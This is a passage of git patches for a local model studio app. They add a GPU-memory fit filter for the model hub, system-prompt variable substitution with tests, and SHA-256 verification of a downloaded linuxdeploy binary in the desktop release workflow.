-        .filter((row) => matchesFormat(row.result.isGguf, "gguf")),
-    [hubFeed.trending.results, modelDiscoveryInventorySignature],
+        .filter((row) => matchesFormat(row.result.isGguf, "gguf"))
+        .map(addGpuFitLevel)
+        .filter((row) =>
+          matchesGpuFitFilter(row.fitLevel ?? null, deferredGpuFitFilter),
+        ),
+    [
+      hubFeed.trending.results,
+      modelDiscoveryInventorySignature,
+      addGpuFitLevel,
+      deferredGpuFitFilter,
+    ],
   );
   const feedRows = useMemo(() => {
     if (!isFeedMode) return [];
@@ -842,6 +897,7 @@ export function ModelsPage() {
         resourceType,
         deferredFormatFilter,
         deferredCapabilityFilter,
+        deferredGpuFitFilter,
         effectiveSort,
         effectiveDirection,
         activeChannelId,
@@ -852,6 +908,7 @@ export function ModelsPage() {
       resourceType,
       deferredFormatFilter,
       deferredCapabilityFilter,
+      deferredGpuFitFilter,
       effectiveSort,
       effectiveDirection,
       activeChannelId,
@@ -872,6 +929,7 @@ export function ModelsPage() {
       setDownloadedFormat("all");
     }
     setCapabilityFilter("all");
+    setGpuFitFilter("all");
   }, [isDiscoverTab, urlSection, navigate]);
   const handleDiscoverFetchIntent = useCallback(() => {
     setDiscoverFetchIntent((value) => value + 1);
@@ -1237,8 +1295,10 @@ export function ModelsPage() {
       hasMore,
       manualFetchAvailable: discoverManualFetchAvailable,
       hasActiveFilters:
-        !isFeedMode &&
-        (deferredFormatFilter !== "all" || deferredCapabilityFilter !== "all"),
+        deferredGpuFitFilter !== "all" ||
+        (!isFeedMode &&
+          (deferredFormatFilter !== "all" ||
+            deferredCapabilityFilter !== "all")),
     }),
     [
       tab,
@@ -1264,6 +1324,7 @@ export function ModelsPage() {
       discoverManualFetchAvailable,
       deferredFormatFilter,
       deferredCapabilityFilter,
+      deferredGpuFitFilter,
     ],
   );
 
@@ -1448,6 +1509,8 @@ export function ModelsPage() {
           onFormatFilterChange={setFormatFilter}
           capabilityFilter={capabilityFilter}
           onCapabilityFilterChange={setCapabilityFilter}
+          gpuFitFilter={gpuFitFilter}
+          onGpuFitFilterChange={setGpuFitFilter}
           onManageLocalFolders={handleManageLocalFolders}
           onOpenFineTune={() => handleOpenList("finetune")}
         />
diff --git a/studio/frontend/src/features/hub/lib/gpu-fit-filter.ts b/studio/frontend/src/features/hub/lib/gpu-fit-filter.ts
new file mode 100644
index 0000000000..7eca4c315a
--- /dev/null
+++ b/studio/frontend/src/features/hub/lib/gpu-fit-filter.ts
@@ -0,0 +1,80 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// GPU-aware model-fit filtering: classifies whether a model fits the device
+// and provides a filter predicate for the Hub page and model selector.
+
+import type { GpuInfo } from "@/hooks/use-gpu-info";
+import {
+  activeOrEffectiveParamsFromId,
+  estimateQuantBytes,
+  paramsFromId,
+} from "@/components/assistant-ui/model-selector/recommended-fit";
+
+/** The three filter states exposed in the toolbar dropdown. */
+export type GpuFitFilter = "all" | "fits" | "comfortable";
+
+/** Per-model fit classification. */
+export type GpuFitLevel = "comfortable" | "fits" | "oom";
+
+/**
+ * Classify whether a model fits the device.
+ *
+ * - "comfortable": estimated size ≤ 70% of GPU VRAM (runs fully in VRAM)
+ * - "fits": estimated size ≤ 70% GPU + 70% system RAM (runs with CPU offload)
+ * - "oom": exceeds both budgets
+ *
+ * Returns null when we can't determine the size (unknown → no badge).
+ */
+export function classifyGpuFit(opts: {
+  totalParams?: number;
+  estimatedSizeBytes?: number;
+  repoId: string;
+  gpu: GpuInfo;
+}): GpuFitLevel | null {
+  const { totalParams, estimatedSizeBytes, repoId, gpu } = opts;
+  const gpuGb = gpu.memoryTotalGb;
+  const ramGb = gpu.systemRamAvailableGb;
+  if (gpuGb <= 0 && ramGb <= 0) return null; // no budget info
+
+  // Active/effective model tokens (for example MoE A3B) describe runnable size
+  // better than HF total-parameter metadata; otherwise prefer exact metadata.
+  const activeOrEffectiveParams = activeOrEffectiveParamsFromId(repoId);
+  const params = activeOrEffectiveParams ?? totalParams ?? paramsFromId(repoId);
+  const sizeBytes =
+    activeOrEffectiveParams
+      ? estimateQuantBytes(activeOrEffectiveParams)
+      : estimatedSizeBytes ?? (params ? estimateQuantBytes(params) : undefined);
+
+  if (!sizeBytes || sizeBytes <= 0) return null; // can't determine
+
+  const sizeGb = sizeBytes / 1024 ** 3;
+  let comfortBudget: number;
+  let fitBudget: number;
+
+  if (!gpu.available || gpuGb <= 0) {
+    // Unified memory system (no discrete GPU)
+    comfortBudget = ramGb * 0.7;
+    fitBudget = ramGb * 0.7;
+  } else {
+    // Discrete GPU
+    comfortBudget = gpuGb * 0.7;
+    fitBudget = gpuGb * 0.7 + ramGb * 0.7;
+  }
+
+  if (sizeGb <= comfortBudget) return "comfortable";
+  if (sizeGb <= fitBudget) return "fits";
+  return "oom";
+}
+
+/** Whether a row passes the given GPU fit filter. */
+export function matchesGpuFitFilter(
+  level: GpuFitLevel | null,
+  filter: GpuFitFilter,
+): boolean {
+  if (filter === "all") return true;
+  if (level === null) return false;
+  if (filter === "comfortable") return level === "comfortable";
+  // "fits" shows both comfortable and fits
+  return level === "comfortable" || level === "fits";
+}
diff --git a/studio/frontend/src/features/hub/lib/view-models.ts b/studio/frontend/src/features/hub/lib/view-models.ts
index 9ee6c5de5d..cdd17855db 100644
--- a/studio/frontend/src/features/hub/lib/view-models.ts
+++ b/studio/frontend/src/features/hub/lib/view-models.ts
@@ -10,6 +10,7 @@ import type {
 import type {
   CapabilityFilter,
   DiscoverRow,
+  GpuFitFilter,
   ModelFormatFilter,
 } from "../types";
 import {
@@ -51,6 +52,15 @@ export const FORMAT_FILTER_OPTIONS: ReadonlyArray<{
   { value: "mlx", label: "MLX" },
 ];
 
+export const GPU_FIT_FILTER_OPTIONS: ReadonlyArray<{
+  value: GpuFitFilter;
+  label: string;
+}> = [
+  { value: "all", label: "All sizes" },
+  { value: "fits", label: "Fits GPU" },
+  { value: "comfortable", label: "Comfortable" },
+];
+
 const BILLION = 1_000_000_000;
 
 export function formatParamCount(totalParams: number | undefined): string {
diff --git a/studio/frontend/src/features/hub/types.ts b/studio/frontend/src/features/hub/types.ts
index ae9ddf5d4b..9fabdb2a8b 100644
--- a/studio/frontend/src/features/hub/types.ts
+++ b/studio/frontend/src/features/hub/types.ts
@@ -28,6 +28,9 @@ export type ModelFormatFilter = "all" | "gguf" | "checkpoint" | "mlx";
 
 export type CapabilityFilter = "all" | CapabilityKey;
 
+import type { GpuFitFilter, GpuFitLevel } from "./lib/gpu-fit-filter";
+export type { GpuFitFilter, GpuFitLevel };
+
 export interface DiscoverRow {
   id: string;
   owner: string;
@@ -37,6 +40,7 @@ export interface DiscoverRow {
   isPartialOnDevice: boolean;
   summary: string;
   capabilities: Capability[];
+  fitLevel?: GpuFitLevel | null;
 }
 
 export type SelectedResourceSource = "huggingface" | "hub_cache" | LocalSource;

From c873ef052d0deaae06d0e9acaa029a722c258ba5 Mon Sep 17 00:00:00 2001
From: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Date: Thu, 25 Jun 2026 18:09:16 +0100
Subject: [PATCH 113/306] Studio: prompt variables into prompt editor (#6434)

* add custom and system variable feature in system prompt

* missing function use

* feat: prompt variables editor ux

Co-authored-by: CodeMan62 <175127021+CodeMan62@users.noreply.github.com>

* fix: guard prompt variable defaults

* refine prompt variables editor layout

* fix: harden prompt variable substitution

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Refine prompt variables editor copy and built-in token labels

---------

Co-authored-by: CodeMan62 <sharmahimanshu15082007@gmail.com>
Co-authored-by: CodeMan62 <175127021+CodeMan62@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Leo Borcherding <borchborchmail@gmail.com>
---
 studio/backend/routes/chat_history.py         |   1 +
 .../src/features/chat/api/chat-adapter.ts     | 127 +++++++++++++-
 .../src/features/chat/chat-settings-sheet.tsx | 155 ++++++++++++++++--
 .../features/chat/presets/preset-policy.ts    |   7 +-
 .../chat/stores/chat-runtime-store.ts         |   1 +
 .../src/features/chat/types/runtime.ts        |   2 +
 .../chat/utils/chat-settings-storage.ts       |   3 +
 tests/studio/test_chat_prompt_variables.py    |  42 +++++
 8 files changed, 322 insertions(+), 16 deletions(-)
 create mode 100644 tests/studio/test_chat_prompt_variables.py

diff --git a/studio/backend/routes/chat_history.py b/studio/backend/routes/chat_history.py
index 1243b284b4..2c87ce8c6e 100644
--- a/studio/backend/routes/chat_history.py
+++ b/studio/backend/routes/chat_history.py
@@ -150,6 +150,7 @@ class ChatInferenceSettings(BaseModel):
     maxSeqLength: Optional[float] = None
     maxTokens: Optional[float] = None
     systemPrompt: Optional[str] = None
+    systemVariables: Optional[str] = None
     trustRemoteCode: Optional[bool] = None
     fastMode: Optional[bool] = None
 
diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts
index 5e8fc9cb25..0106980871 100644
--- a/studio/frontend/src/features/chat/api/chat-adapter.ts
+++ b/studio/frontend/src/features/chat/api/chat-adapter.ts
@@ -185,6 +185,124 @@ function wait(ms: number): Promise<void> {
   return new Promise((resolve) => setTimeout(resolve, ms));
 }
 
+function parseSystemVariablesMap(raw: string): Record<string, unknown> {
+  if (!raw.trim()) {
+    return {};
+  }
+  try {
+    const parsed = JSON.parse(raw) as unknown;
+    if (parsed && typeof parsed === "object" && !Array.isArray(parsed)) {
+      return parsed as Record<string, unknown>;
+    }
+  } catch {
+    // Invalid JSON: keep unresolved placeholders in output prompt.
+  }
+  return {};
+}
+
+function hasOwn(object: object, key: string): boolean {
+  return Object.prototype.hasOwnProperty.call(object, key);
+}
+
+function getNestedValue(
+  values: Record<string, unknown>,
+  path: string,
+): unknown | undefined {
+  const parts = path.split(".").map((part) => part.trim()).filter(Boolean);
+  if (parts.length === 0) {
+    return undefined;
+  }
+  let current: unknown = values;
+  for (const part of parts) {
+    if (!current || typeof current !== "object" || Array.isArray(current)) {
+      return undefined;
+    }
+    if (!hasOwn(current, part)) {
+      return undefined;
+    }
+    current = (current as Record<string, unknown>)[part];
+  }
+  return current;
+}
+
+function padDatePart(value: number): string {
+  return String(value).padStart(2, "0");
+}
+
+function formatLocalDate(now: Date): string {
+  return [
+    now.getFullYear(),
+    padDatePart(now.getMonth() + 1),
+    padDatePart(now.getDate()),
+  ].join("-");
+}
+
+function formatLocalTime(now: Date): string {
+  return [
+    padDatePart(now.getHours()),
+    padDatePart(now.getMinutes()),
+    padDatePart(now.getSeconds()),
+  ].join(":");
+}
+
+function formatTimezoneOffset(now: Date): string {
+  const offsetMinutes = -now.getTimezoneOffset();
+  const sign = offsetMinutes >= 0 ? "+" : "-";
+  const abs = Math.abs(offsetMinutes);
+  const hours = Math.floor(abs / 60);
+  const minutes = abs % 60;
+  return `${sign}${padDatePart(hours)}:${padDatePart(minutes)}`;
+}
+
+function stringifyTemplateValue(value: unknown): string {
+  if (value == null) {
+    return "";
+  }
+  if (typeof value === "string") {
+    return value;
+  }
+  if (typeof value === "number" || typeof value === "boolean") {
+    return String(value);
+  }
+  try {
+    return JSON.stringify(value);
+  } catch {
+    return String(value);
+  }
+}
+
+function resolveSystemPromptVariables(
+  prompt: string,
+  customVariablesRaw: string,
+): string {
+  if (!prompt) {
+    return prompt;
+  }
+  const now = new Date();
+  const localDate = formatLocalDate(now);
+  const localTime = formatLocalTime(now);
+  const systemVariables: Record<string, string> = {
+    $date: localDate,
+    $time: localTime,
+    $now: `${localDate}T${localTime}${formatTimezoneOffset(now)}`,
+  };
+  const customVariables = parseSystemVariablesMap(customVariablesRaw);
+  return prompt.replaceAll(
+    /{{\s*([a-zA-Z_$][a-zA-Z0-9_$.-]*)\s*}}/g,
+    (full, keyRaw) => {
+      const key = String(keyRaw).trim();
+      if (hasOwn(systemVariables, key)) {
+        return systemVariables[key] ?? full;
+      }
+      const resolved = getNestedValue(customVariables, key);
+      if (resolved === undefined) {
+        return full;
+      }
+      return stringifyTemplateValue(resolved);
+    },
+  );
+}
+
 export const ThreadAutosaveHandle: ThreadAutosaveHandle = {
   registerFirstSave(threadId, promise) {
     const trackedPromise = promise.catch(() => {});
@@ -1778,7 +1896,14 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
       }
 
       const safeSystemPrompt =
-        typeof params.systemPrompt === "string" ? params.systemPrompt : "";
+        typeof params.systemPrompt === "string"
+          ? resolveSystemPromptVariables(
+              params.systemPrompt,
+              typeof params.systemVariables === "string"
+                ? params.systemVariables
+                : "",
+            )
+          : "";
       const projectInstructions =
         await resolveProjectInstructions(resolvedThreadId);
       const combinedSystemPrompt = [
diff --git a/studio/frontend/src/features/chat/chat-settings-sheet.tsx b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
index f5136e0181..74578b9438 100644
--- a/studio/frontend/src/features/chat/chat-settings-sheet.tsx
+++ b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
@@ -74,7 +74,7 @@ import {
 } from "@hugeicons/core-free-icons";
 import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { ChevronDown, ExternalLink } from "lucide-react";
+import { Braces, ChevronDown, ExternalLink } from "lucide-react";
 import { Tooltip as TooltipPrimitive } from "radix-ui";
 import { Fragment, type ReactNode } from "react";
 import { useCallback, useEffect, useMemo, useRef, useState } from "react";
@@ -116,10 +116,32 @@ import type { InferenceParams } from "./types/runtime";
 export { defaultInferenceParams, type Preset } from "./presets/preset-policy";
 export type { InferenceParams } from "./types/runtime";
 
+const PROMPT_VARIABLE_PATTERN = /{{\s*[a-zA-Z_$][a-zA-Z0-9_$.-]*\s*}}/;
+
 function canUseStorage(): boolean {
   return typeof window !== "undefined";
 }
 
+function getPromptVariablesError(raw: string): string | null {
+  const trimmed = raw.trim();
+  if (!trimmed) {
+    return null;
+  }
+  try {
+    const parsed = JSON.parse(trimmed) as unknown;
+    if (parsed && typeof parsed === "object" && !Array.isArray(parsed)) {
+      return null;
+    }
+  } catch {
+    return "Use valid JSON, for example { \"env\": \"staging\" }.";
+  }
+  return "Variables must be a JSON object.";
+}
+
+function hasPromptVariableSyntax(prompt: string): boolean {
+  return PROMPT_VARIABLE_PATTERN.test(prompt);
+}
+
 /**
  * Editable numeric value display, shared by every slider value and the Context
  * Length input. An <input> that looks like text (shows `displayValue ?? value`,
@@ -655,6 +677,8 @@ export function ChatSettingsPanel({
   const [presetNameInput, setPresetNameInput] = useState(activePreset);
   const [systemPromptEditorOpen, setSystemPromptEditorOpen] = useState(false);
   const [systemPromptDraft, setSystemPromptDraft] = useState("");
+  const [systemVariablesDraft, setSystemVariablesDraft] = useState("");
+  const [systemVariablesOpen, setSystemVariablesOpen] = useState(false);
   // When the prompt overflows the inline box, clicking opens the popup editor.
   const systemPromptBoxRef = useRef<HTMLTextAreaElement>(null);
   const [systemPromptOverflows, setSystemPromptOverflows] = useState(false);
@@ -697,7 +721,12 @@ export function ChatSettingsPanel({
       }),
     [activePreset, hasUnsavedPresetChanges, presetNameInput, presets],
   );
-  const systemPromptEditorDirty = systemPromptDraft !== params.systemPrompt;
+  const systemVariablesError = getPromptVariablesError(systemVariablesDraft);
+  const currentSystemPrompt = params.systemPrompt ?? "";
+  const currentSystemVariables = params.systemVariables ?? "";
+  const systemPromptEditorDirty =
+    systemPromptDraft !== currentSystemPrompt ||
+    systemVariablesDraft !== currentSystemVariables;
   const showPromptCacheTtlControl = Boolean(
     activeExternalProvider &&
       supportsProviderPromptCacheTtl(activeExternalProvider.providerType),
@@ -808,12 +837,32 @@ export function ChatSettingsPanel({
   }
 
   function openSystemPromptEditor() {
-    setSystemPromptDraft(params.systemPrompt);
+    setSystemPromptDraft(currentSystemPrompt);
+    setSystemVariablesDraft(currentSystemVariables);
+    setSystemVariablesOpen(
+      currentSystemVariables.trim().length > 0 ||
+        hasPromptVariableSyntax(currentSystemPrompt),
+    );
     setSystemPromptEditorOpen(true);
   }
 
   function saveSystemPromptEditor() {
-    set("systemPrompt")(systemPromptDraft);
+    if (systemVariablesError) {
+      toast.error("Fix prompt variables before saving", {
+        description: systemVariablesError,
+      });
+      return;
+    }
+    const nextParams = {
+      ...params,
+      systemPrompt: systemPromptDraft,
+      systemVariables: systemVariablesDraft.trim(),
+    };
+    const nextSource = isSamePresetConfig(activePresetBaseline, nextParams)
+      ? getPresetSource(activePreset)
+      : "modified";
+    setActivePresetSource(nextSource);
+    onParamsChange(nextParams);
     setSystemPromptEditorOpen(false);
   }
 
@@ -861,12 +910,12 @@ export function ChatSettingsPanel({
   useEffect(() => {
     const el = systemPromptBoxRef.current;
     setSystemPromptOverflows(
-      params.systemPrompt.length > 0 &&
+      currentSystemPrompt.length > 0 &&
         el != null &&
         el.clientHeight > 0 &&
         el.scrollHeight > el.clientHeight + 1,
     );
-  }, [params.systemPrompt, open]);
+  }, [currentSystemPrompt, open]);
 
   const settingsScrollRef = useRef<HTMLDivElement>(null);
 
@@ -1538,7 +1587,7 @@ export function ChatSettingsPanel({
           >
             <textarea
               ref={systemPromptBoxRef}
-              value={params.systemPrompt}
+              value={currentSystemPrompt}
               onChange={(e) => set("systemPrompt")(e.target.value)}
               onMouseDown={(e) => {
                 // Overflowing prompt: click opens the popup editor instead.
@@ -1561,6 +1610,7 @@ export function ChatSettingsPanel({
           </div>
         </CollapsibleSection>
 
+
         <CollapsibleSection label="Sampling" defaultOpen={true}>
           <div className="flex flex-col gap-5 pt-1">
             {showTemperature ? (
@@ -1712,20 +1762,96 @@ export function ChatSettingsPanel({
               the preset.
             </DialogDescription>
           </DialogHeader>
-          <div className="space-y-2">
+          <div className="space-y-3">
             <div className="space-y-0.5 px-0.5">
-              <div className="text-[11px] font-medium">Prompt editor</div>
+              <div className="flex items-center justify-between gap-3">
+                <div className="text-[11px] font-medium">Prompt editor</div>
+                <Button
+                  type="button"
+                  variant="ghost"
+                  size="sm"
+                  onClick={() => setSystemVariablesOpen((open) => !open)}
+                  className="h-7 gap-1.5 rounded-full px-2.5 text-[11px] text-muted-foreground"
+                  aria-expanded={systemVariablesOpen}
+                >
+                  <Braces className="size-3.5" />
+                  Variables
+                  <ChevronDown
+                    className={cn(
+                      "size-3.5 transition-transform",
+                      systemVariablesOpen && "rotate-180",
+                    )}
+                  />
+                </Button>
+              </div>
               <p className="text-[11px] text-muted-foreground">
                 Use this for longer edits. Save writes back to the active
-                configuration only.
+                configuration only. Insert variables with {"{{ env }}"}.
               </p>
             </div>
+            {systemVariablesOpen ? (
+              <div className="space-y-2 px-0.5">
+                <div className="flex flex-wrap items-start justify-between gap-2">
+                  <div className="space-y-0.5">
+                    <div className="text-[11px] font-medium">
+                      Prompt variables
+                    </div>
+                    <p className="text-[11px] text-muted-foreground">
+                      Define values as JSON below, then use each key in your
+                      prompt, like {"{{ env }}"}.
+                    </p>
+                  </div>
+                  <div className="flex flex-col items-end gap-1">
+                    <span className="text-[10px] text-muted-foreground">
+                      Built-in, fill in automatically
+                    </span>
+                    <div className="flex flex-wrap justify-end gap-1">
+                      {["{{$date}}", "{{$time}}", "{{$now}}"].map((token) => (
+                        <span
+                          key={token}
+                          title={`${token} is replaced automatically when you send`}
+                          className="rounded-full bg-muted px-2 py-0.5 font-mono text-[10px] text-muted-foreground"
+                        >
+                          {token}
+                        </span>
+                      ))}
+                    </div>
+                  </div>
+                </div>
+                <Textarea
+                  value={systemVariablesDraft}
+                  onChange={(event) =>
+                    setSystemVariablesDraft(event.target.value)
+                  }
+                  placeholder='{ "env": "staging", "version": "v2.3.1" }'
+                  fieldSizing="fixed"
+                  className={cn(
+                    "min-h-24 border-0 font-mono text-xs leading-5 corner-squircle focus-visible:ring-0",
+                    systemVariablesError &&
+                      "ring-1 ring-destructive focus-visible:ring-destructive",
+                  )}
+                  rows={5}
+                  aria-label="Prompt variables JSON"
+                  aria-invalid={Boolean(systemVariablesError)}
+                />
+                {systemVariablesError ? (
+                  <p className="px-1 text-[11px] text-destructive">
+                    {systemVariablesError}
+                  </p>
+                ) : (
+                  <p className="px-1 text-[11px] text-muted-foreground">
+                    Names you don&apos;t define are left unchanged, so a stray
+                    {" {{ typo }} "}stays visible in the prompt.
+                  </p>
+                )}
+              </div>
+            ) : null}
             <Textarea
               value={systemPromptDraft}
               onChange={(event) => setSystemPromptDraft(event.target.value)}
               placeholder="You are a helpful assistant..."
               fieldSizing="fixed"
-              className="min-h-[24rem] max-h-[50vh] overflow-y-auto border-0 text-sm leading-6 corner-squircle focus-visible:ring-0"
+              className="min-h-[20rem] max-h-[48vh] overflow-y-auto border-0 text-sm leading-6 corner-squircle focus-visible:ring-0"
               rows={14}
             />
           </div>
@@ -1744,7 +1870,8 @@ export function ChatSettingsPanel({
                 type="button"
                 variant="ghost"
                 onClick={() => {
-                  setSystemPromptDraft(params.systemPrompt);
+                  setSystemPromptDraft(currentSystemPrompt);
+                  setSystemVariablesDraft(currentSystemVariables);
                   setSystemPromptEditorOpen(false);
                 }}
               >
@@ -1753,7 +1880,9 @@ export function ChatSettingsPanel({
               <Button
                 type="button"
                 onClick={saveSystemPromptEditor}
-                disabled={!systemPromptEditorDirty}
+                disabled={
+                  !systemPromptEditorDirty || Boolean(systemVariablesError)
+                }
               >
                 Save
               </Button>
diff --git a/studio/frontend/src/features/chat/presets/preset-policy.ts b/studio/frontend/src/features/chat/presets/preset-policy.ts
index 057e4778bf..f96ee91f1b 100644
--- a/studio/frontend/src/features/chat/presets/preset-policy.ts
+++ b/studio/frontend/src/features/chat/presets/preset-policy.ts
@@ -23,6 +23,7 @@ export type PresetOwnedParams = Pick<
   | "presencePenalty"
   | "maxTokens"
   | "systemPrompt"
+  | "systemVariables"
 >;
 
 export const BUILTIN_PRESETS: Preset[] = [
@@ -104,7 +105,8 @@ export function getPresetOwnedParams(
     repetitionPenalty: params.repetitionPenalty,
     presencePenalty: params.presencePenalty,
     maxTokens: params.maxTokens,
-    systemPrompt: params.systemPrompt,
+    systemPrompt: params.systemPrompt ?? "",
+    systemVariables: params.systemVariables ?? "",
   };
 }
 
@@ -122,7 +124,8 @@ export function isSamePresetConfig(
     left.repetitionPenalty === right.repetitionPenalty &&
     left.presencePenalty === right.presencePenalty &&
     left.maxTokens === right.maxTokens &&
-    left.systemPrompt === right.systemPrompt
+    left.systemPrompt === right.systemPrompt &&
+    left.systemVariables === right.systemVariables
   );
 }
 
diff --git a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
index 5b2dae5e08..ea35a53c4e 100644
--- a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
+++ b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
@@ -837,6 +837,7 @@ const PERSISTED_INFERENCE_PARAM_KEYS = [
   "maxSeqLength",
   "maxTokens",
   "systemPrompt",
+  "systemVariables",
   "trustRemoteCode",
   "fastMode",
 ] as const satisfies readonly PersistedInferenceParamKey[];
diff --git a/studio/frontend/src/features/chat/types/runtime.ts b/studio/frontend/src/features/chat/types/runtime.ts
index f521fd192f..7600d7085b 100644
--- a/studio/frontend/src/features/chat/types/runtime.ts
+++ b/studio/frontend/src/features/chat/types/runtime.ts
@@ -11,6 +11,7 @@ export interface InferenceParams {
   maxSeqLength: number;
   maxTokens: number;
   systemPrompt: string;
+  systemVariables: string;
   checkpoint: string;
   /** Allow loading models with custom code (e.g. NVIDIA Nemotron). Only enable for repos you trust. */
   trustRemoteCode?: boolean;
@@ -32,6 +33,7 @@ export const DEFAULT_INFERENCE_PARAMS: InferenceParams = {
   maxSeqLength: 4096,
   maxTokens: 8192,
   systemPrompt: "",
+  systemVariables: "",
   checkpoint: "",
   trustRemoteCode: false,
   fastMode: false,
diff --git a/studio/frontend/src/features/chat/utils/chat-settings-storage.ts b/studio/frontend/src/features/chat/utils/chat-settings-storage.ts
index 486288a04e..4e457920d1 100644
--- a/studio/frontend/src/features/chat/utils/chat-settings-storage.ts
+++ b/studio/frontend/src/features/chat/utils/chat-settings-storage.ts
@@ -140,6 +140,9 @@ function sanitizeInferenceParams(
   if (typeof value.systemPrompt === "string") {
     params.systemPrompt = value.systemPrompt;
   }
+  if (typeof value.systemVariables === "string") {
+    params.systemVariables = value.systemVariables;
+  }
   // trustRemoteCode is no longer persisted: custom code is consented per model via the dialog.
   if (typeof value.fastMode === "boolean") {
     params.fastMode = value.fastMode;
diff --git a/tests/studio/test_chat_prompt_variables.py b/tests/studio/test_chat_prompt_variables.py
new file mode 100644
index 0000000000..dcf318b5fa
--- /dev/null
+++ b/tests/studio/test_chat_prompt_variables.py
@@ -0,0 +1,42 @@
+"""Regression checks for system prompt variable substitution."""
+
+from __future__ import annotations
+
+from pathlib import Path
+
+
+WORKSPACE = Path(__file__).resolve().parents[2]
+ADAPTER_SRC = (WORKSPACE / "studio/frontend/src/features/chat/api/chat-adapter.ts").read_text()
+
+
+def _function_source(name: str) -> str:
+    start = ADAPTER_SRC.index(f"function {name}")
+    body_start = ADAPTER_SRC.index("{", start)
+    depth = 0
+    for index in range(body_start, len(ADAPTER_SRC)):
+        if ADAPTER_SRC[index] == "{":
+            depth += 1
+        elif ADAPTER_SRC[index] == "}":
+            depth -= 1
+            if depth == 0:
+                return ADAPTER_SRC[start : index + 1]
+    raise AssertionError(f"Could not parse function body for {name}")
+
+
+def test_prompt_variable_builtins_use_local_time_helpers():
+    resolver = _function_source("resolveSystemPromptVariables")
+    assert "formatLocalDate(now)" in resolver
+    assert "formatLocalTime(now)" in resolver
+    assert "formatTimezoneOffset(now)" in resolver
+    assert "toISOString()" not in resolver
+
+
+def test_prompt_variable_builtins_use_own_property_lookup():
+    resolver = _function_source("resolveSystemPromptVariables")
+    assert "if (hasOwn(systemVariables, key))" in resolver
+    assert "key in systemVariables" not in resolver
+
+
+def test_prompt_variable_nested_lookup_ignores_prototype_properties():
+    nested_lookup = _function_source("getNestedValue")
+    assert "if (!hasOwn(current, part))" in nested_lookup

From ed5e2a159074f295f80924bd0ade729783dc80cc Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 25 Jun 2026 20:45:24 -0700
Subject: [PATCH 114/306] Verify linuxdeploy AppImage digest before use in
 desktop release (#6673)

* Verify linuxdeploy AppImage digest before use in desktop release

The desktop release workflow downloaded linuxdeploy-x86_64.AppImage from a
GitHub release and ran chmod +x with no integrity check. Pinning the
versioned release path is reproducibility, not integrity: a release asset
can be replaced (or its delivery path compromised) after upload. The next
step builds the AppImage with the Tauri signing private key and a
contents:write GITHUB_TOKEN in scope, so a substituted linuxdeploy that
ran during packaging could exfiltrate signing material or tamper with
published release artifacts.

Pin the immutable SHA-256 of the asset and verify it with sha256sum -c
before chmod +x, so a mismatch fails the job closed before the binary is
ever executable. Extend the existing in-workflow guard to require both the
pinned digest and the verification step, so a future edit cannot silently
drop the check.

* Scope linuxdeploy guard to real step content, not its own text

The self-check searched every workflow line, so the digest assertion was
satisfied by the guard's own expectedLinuxdeployDigest line and the
verification assertion by a comment. Deleting the LINUXDEPLOY_SHA256 env
pin or the actual sha256sum -c command would still have passed.

Match the digest against the LINUXDEPLOY_SHA256 env line specifically and
require sha256sum -c on a non-comment line, so dropping either the pin or
the verification now fails the guard.

* Scope linuxdeploy guard to the Pin step block and check ordering

The previous predicate still scanned the whole workflow, so the literal
sha256sum -c in the guard's own code satisfied the verification check; a
deleted or post-chmod verification command would still pass.

Extract the 'Pin linuxdeploy for AppImage' step block and assert within it:
the LINUXDEPLOY_SHA256 env pins the expected digest, a non-comment line
runs sha256sum -c, and that verification precedes chmod +x.
---
 .github/workflows/release-desktop.yml | 63 +++++++++++++++++++++++++--
 1 file changed, 59 insertions(+), 4 deletions(-)

diff --git a/.github/workflows/release-desktop.yml b/.github/workflows/release-desktop.yml
index 6f1a7f14b1..188e078f90 100644
--- a/.github/workflows/release-desktop.yml
+++ b/.github/workflows/release-desktop.yml
@@ -424,6 +424,47 @@ jobs:
           if (!linuxdeployLines.some((line) => line.includes('1-alpha-20250213-2/linuxdeploy-x86_64.AppImage'))) {
             throw new Error('Desktop Linux release must pin linuxdeploy 1-alpha-20250213-2');
           }
+          // A pinned version/path is reproducibility, not integrity: the asset
+          // can be replaced after upload. Require the immutable SHA-256 digest
+          // to be pinned AND verified before chmod +x. Scope every check to the
+          // real "Pin linuxdeploy for AppImage" step so this guard cannot
+          // satisfy itself; a file-wide scan would match the guard's own code.
+          const expectedLinuxdeployDigest = '4648f278ab3ef31f819e67c30d50f462640e5365a77637d7e6f2ad9fd0b4522a';
+          const isComment = (line) => {
+            const trimmed = line.trim();
+            return trimmed.startsWith('#') || trimmed.startsWith('//');
+          };
+          const stepStart = lines.findIndex((line) => /^\s*- name: Pin linuxdeploy for AppImage\s*$/.test(line));
+          if (stepStart === -1) {
+            throw new Error('Desktop Linux release must keep the "Pin linuxdeploy for AppImage" step');
+          }
+          const stepIndent = lines[stepStart].search(/\S/);
+          let stepEnd = lines.length;
+          for (let i = stepStart + 1; i < lines.length; i += 1) {
+            const line = lines[i];
+            if (line.trim() === '') continue;
+            const indent = line.search(/\S/);
+            // The next sibling step ('- ...') at the same indent, or any dedent
+            // below the step, ends this step's block.
+            if (indent < stepIndent || (indent === stepIndent && /^\s*-\s/.test(line))) {
+              stepEnd = i;
+              break;
+            }
+          }
+          const stepLines = lines.slice(stepStart, stepEnd);
+          const digestEnvRe = /^\s*LINUXDEPLOY_SHA256:\s*["']([0-9a-f]{64})["']\s*$/;
+          const digestEnvLine = stepLines.find((line) => digestEnvRe.test(line));
